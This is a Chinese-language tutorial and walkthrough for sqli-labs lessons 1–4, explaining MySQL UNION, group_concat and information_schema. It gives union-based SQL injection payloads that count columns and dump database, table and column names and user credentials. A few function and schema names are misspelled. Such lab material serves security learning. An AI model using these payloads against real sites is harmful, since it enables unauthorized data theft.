知识补充:
order by 后面接一个数字意思是按第几个字段进行排序,如果这个数字大于它字段个数就会报错,所以可以试出有几个字段 。如果输入的数字不是正整数,都会正常返回数据,并且都是按第一个字段进行排序。
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
select直接加数字串,后面可以不写表名,输出的内容就是select后面的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组。在SQL注入时,我们可以利用它来进行一个快速测试,因为很可能一些字段不是都显示在网页前端的,通过这个语句我们可以测试出哪个字段可以回显出来,随后就可以相应地在这个字段查询我们想要的内容。
concat()函数:将多个字符串连接成一个字符串。concat(str1, str2,…)返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
concat_ws()函数:和concat()一样,将多个字符串连接成一个字符串,但是可以指定分隔符。concat_ws(separator, str1, str2, …)第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
group_concat()函数:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。如:以ciontent分组,查出content相同的有哪些id.
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。information_schema是一个虚拟数据库,物理上并不存在。访问该数据库中所含表的唯一方式是使用SELECT语句。不能在其中插入内容,不能更新它们,也不能删除其中的内容。每位MySQL用户均有权访问这些表,但仅限于表中的特定行,在这类行中含有用户具有恰当访问权限的对象。
information_schema下的表:
schemata表:提供了当前mysql实例中所有数据库的信息,它主要列名有schema_name,有所有数据库名。
tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。主要列table_schema(表对应的数据库名称),table_name(表名)等等。
columns表:详细表述了某张表的所有列以及每个列的信息。主要列有table_schema,table_name,column_name等。
Less-1
1.修改源代码,增加两条回显信息,方便自己观察:
2.首先输入正常的id=1,观察SQL语句:
2.尝试直接在id后面加个’ ,出现报错,后面的单引号未闭合
3.尝试输入 ‘or 1=1 %23 把后面的注释掉(如果直接在URL里输入#是无效的,url中#号是用来指导浏览器动作的,实际发出的HTTP请求中不包括#,所以将#号改成url的编码%23就可以了)
成功返回数据
4.所以,可以使用ORDER BY 来测出列数,当order by 3时正常返回,order by 4时报错超过了它的列数,所以列数为3
5.union联合注入:构造一个union联合查询,当union前面的select语句选择的内容为空时,后面语句的内容就可以显示出。此处,我们可以构造id=-1。因为进行联合查询两个select语句列数必须相同,前面已经测出有3个字段,所以构造 id=-1’ union select 1,2,3 ,通过回显的数据可以看出,第二个字段和第三个字段可以回显在网页上:
6.利用union查询爆数据库,把数字2换成group_schema(schema_name):
select * from users where id=’-1’ union select 1,group_concat(schema_name),3 from imformation_schema.schemata;
7.爆 security 数据库的数据表,payload: ?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’%23
8.爆 users 表的列 ,payload:?id=-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’%23
9.爆数据,payload:?id=-1’ union select 1,username,password from users where id=‘2’%23
Less-2
1.首先在id后加 ’ ,发现报错,问题是多了一个单引号
2.把payload改成:?id=1’%23,发现还是报错,还是多了一个单引号,判断出此处为数字型注入
去掉单引号
3.payload:?id=2 or 1=1%23,成功注入,源码没有过滤
4.同Less-1步骤一样,payload只需去掉那个单引号,测出字段数,union联合查询,爆数据库、爆表、爆列、爆数据。
Less-3
1.在id后面加 ‘ ,报错信息如下,多了一个单引号和一个括号,查看源代码,它是这种形式:SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1;
2.闭合单引号和括号即可
3.接下来的测试同Less-1,只需增加一个)闭合括号。
Less-4
1.在id后面加一个单引号,它不报错,还能正常查询,惊了,我也不知道为什么多出一个单引号也能正常查询 ?
2.在id后面加一个双引号,报错了,多出了一个双引号,由此可以猜出它的形式为id=(" ")
3.闭合双引号和括号
4.闭合并把后面的东西注释掉
5.知道怎么闭合后,接下来的测试同Less-1。